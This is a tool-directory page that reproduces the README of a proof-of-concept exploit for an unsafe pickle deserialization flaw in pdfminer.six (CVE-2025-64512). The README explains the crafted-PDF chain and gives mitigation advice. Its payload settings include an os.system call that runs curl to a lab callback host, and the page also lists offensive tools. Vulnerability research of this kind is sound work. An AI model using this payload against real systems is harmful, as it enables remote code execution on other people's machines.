Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-64512-Exploit-PoC — Proof-of-concept exploit for CVE-2025-64512, an unsafe pickle deserialization RCE in pdfminer.six, with a crafted PDF payload chain and lab demonstration. | Kitploit
Tools/GitHubGitHub/frexyy8989/cve-2025-64512-exploit-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubfrexyy8989/cve-2025-64512-exploit-poc

CVE-2025-64512-Exploit-PoC

Proof-of-concept exploit for CVE-2025-64512, an unsafe pickle deserialization RCE in pdfminer.six, with a crafted PDF payload chain and lab demonstration.

View Repository
Dec 5, 2026Not yet reviewed
Share

CVE-2025-64512 – pdfminer.six PoC & Exploit

An independent Proof of Concept (PoC) implementation for CVE-2025-64512, a code execution vulnerability affecting pdfminer.six through unsafe pickle deserialization.

This repository demonstrates the vulnerability mechanism and includes an example based on the Bedside machine from Hack The Box.

Disclaimer: This is an independent research project. I am not the original vulnerability discoverer. All credit for the original discovery belongs to the researchers credited in the official security advisory.

Vulnerability Information

FieldDetails
CVECVE-2025-64512
Projectpdfminer.six
VulnerabilityArbitrary Code Execution
CWECWE-502 – Deserialization of Untrusted Data
SeverityHigh
CVSS8.2
Official AdvisoryGHSA-wf5f-4jwr-ppcp

How It Works

The vulnerability is related to unsafe pickle deserialization in CMapDB._load_data().

The function loads compressed pickle data using pickle.loads(). A crafted PDF can specify an alternative CMap path through its /Encoding entry.

When the PDF is processed, pdfminer attempts to load the corresponding .pickle.gz file. If an attacker-controlled pickle file is loaded, Python code can execute in the context of the process.

The general vulnerability chain is:

  1. A crafted PDF specifies an alternative CMap path.
  2. pdfminer resolves the CMap filename.
  3. The .pickle.gz file is loaded.
  4. Unsafe pickle deserialization occurs.
  5. The embedded Python code is evaluated.

Configuration

The PoC contains two values that need to be adapted to the authorized test environment:

path = "/path/of/pwn/gz"
code = "os.system('PAYLOAD') or exit(0) or {}"
  • path: The CMap path referenced by the crafted PDF. pdfminer appends .pickle.gz to the name.
  • code: The Python expression used in the demonstration payload.

Bedside – Hack The Box Example

For my Bedside HTB lab testing, the example configuration uses:

path = "/var/www/research.bedside.htb/uploads/pwn"
code = "os.system('curl 10.10.14.201:9999/frexy') or exit(0) or {}"

Replace the example callback address with the address of your own authorized lab machine.

Important: On Linux, the referenced .pickle.gz file must exist at the corresponding path on the target filesystem. Creating the file locally does not automatically place it on the target. The PDF path and the pickle file location must match.

Requirements

  • Python 3
  • pdfminer.six
  • Access to an authorized vulnerable test environment

Usage

  1. Clone this repository.
  2. Install the required dependencies.
  3. Configure the PoC paths and test parameters.
  4. Generate the demonstration files.
  5. Submit the PDF to your authorized test environment.
  6. Observe whether the vulnerable PDF processing path is triggered.

Mitigation

Upgrade pdfminer.six to a patched release.

Refer to the official advisory for affected versions and remediation details:

https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp

References

  • Official GitHub Security Advisory
  • pdfminer.six GitHub Repository

Author

Independent security research and PoC implementation.

This repository is intended for educational purposes, authorized penetration testing, and controlled lab environments only.

Download Tool

Related Tools

  • metasploit-framework

    Open-source exploitation framework with modular payload, encoder, and auxiliary system for penetration testing, vulnerability validation, and security research across networks and applications.

  • donut

    Generates x86, x64, or AMD64+x86 position-independent shellcode that loads .NET Assemblies, PE files, and other Windows payloads from memory and runs them with parameters

  • sRDI

    Shellcode implementation of Reflective DLL Injection. Convert DLLs to position independent shellcode

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    ghostlock-app

    yukonga/ghostlock-app

    One-tap Android kernel exploit app for CVE-2026-43499, providing privilege escalation via kernel module loading, with offset extraction and on-device analysis tools.

    745
  • 2

    IMSIcatcher

    28zaaky/imsicatcher

    IMSI Catcher platform that deploys a rogue GSM cell to intercept SMS, inject messages and track mobile devices

    732
  • 3

    Callisto

    jetp1ane/callisto

    Automated binary vulnerability analysis tool that decompiles executables via Ghidra, scans pseudo-C code with Semgrep, and validates findings using GPT-3.5-Turbo to reduce false positives.

    610
  • 4

    opencti

    opencti-platform/opencti

    Open Cyber Threat Intelligence Platform

    546
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    414
  • 6

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    413

Explore all tools

Browse our collection of tools

View all tools →